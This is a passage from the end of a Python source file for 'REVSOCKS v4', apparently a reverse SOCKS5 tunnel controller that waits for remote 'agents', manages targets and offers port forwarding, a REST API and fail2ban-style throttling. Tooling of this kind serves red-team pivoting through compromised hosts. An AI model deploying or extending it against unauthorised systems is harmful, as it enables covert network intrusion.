if not t:
print(f" [!] Not found: {id_or_name}")
return
try:
rport = int(rport_str)
lport = int(lport_str)
except ValueError:
print(f" [!] Invalid port numbers")
return
ok, msg = await setup_portfwd(t, rport, lport)
if ok:
print(f" [+] Port forward: {msg}")
else:
print(f" [!] Port forward failed: {msg}")
# ---- exit ----
def _cmd_exit(self) -> None:
self.running = False
print(" [*] Shutting down...")
# Give tasks a moment then exit
asyncio.get_event_loop().call_later(0.5, lambda: os._exit(0))
# ═══════════════════════════════════════════════════════════════════════════
# MAIN
# ═══════════════════════════════════════════════════════════════════════════
async def _main() -> None:
enc_name = "ChaCha20-Poly1305 AEAD"
print(f"""
\033[36m
+═══════════════════════════════════════════════════════════+
║ REVSOCKS v4 — Multi-Target Reverse SOCKS5 (asyncio) ║
+═════════════════════════╦═════════════════════════════════+
║ Tunnel : 0.0.0.0:{TUNNEL_PORT:<5}║ Encryption: {enc_name:<22}║
║ SOCKS : :{BASE_SOCKS_PORT}+ ║ Auth : {SOCKS_USER}:{SOCKS_PASS:<18}║
+═════════════════════════╩═════════════════════════════════+
\033[0m""")
features: list[str] = []
if TLS_ENABLED:
features.append("TLS")
else:
features.append("TLS: disabled (no cert)")
if _UVLOOP:
features.append("uvloop")
if _HAS_AIOHTTP and API_PORT > 0:
features.append(f"REST API :{API_PORT}")
features.append(f"fail2ban (max {FAIL2BAN_MAX})")
features.append(f"health every {HEALTH_CHECK_INTERVAL}s")
features.append(f"key rotation every {KEY_ROTATION_INTERVAL // 1000}K msgs")
features.append(f"log: {LOG_FILE}")
for f in features:
print(f" [*] {f}")
print(f" [*] Waiting for agents...\n")
sessions = SessionStore()
f2b = Fail2Ban()
mgr = TargetManager(sessions)
# Choose listener type based on TLS availability
if TLS_ENABLED:
listener = TLSTunnelListener(mgr, f2b, sessions)
else:
listener = TunnelListener(mgr, f2b, sessions)
# REST API
api = WebAPI(mgr, f2b)
# Launch all coroutines
tasks = [
asyncio.create_task(listener.start()),
asyncio.create_task(health_monitor(mgr)),
]
if _HAS_AIOHTTP and API_PORT > 0:
tasks.append(asyncio.create_task(api.start(API_PORT)))
# Session pruning
async def _prune_sessions() -> None:
while True:
await asyncio.sleep(300)
sessions.prune()
tasks.append(asyncio.create_task(_prune_sessions()))
# CLI in the foreground
cli = CLI(mgr, f2b, sessions)
await cli.run()
# If CLI exits, cancel everything
for task in tasks:
task.cancel()
def main() -> None:
try:
asyncio.run(_main())
except KeyboardInterrupt:
print("\n[*] Interrupted")
sys.exit(0)
if __name__ == "__main__":
main()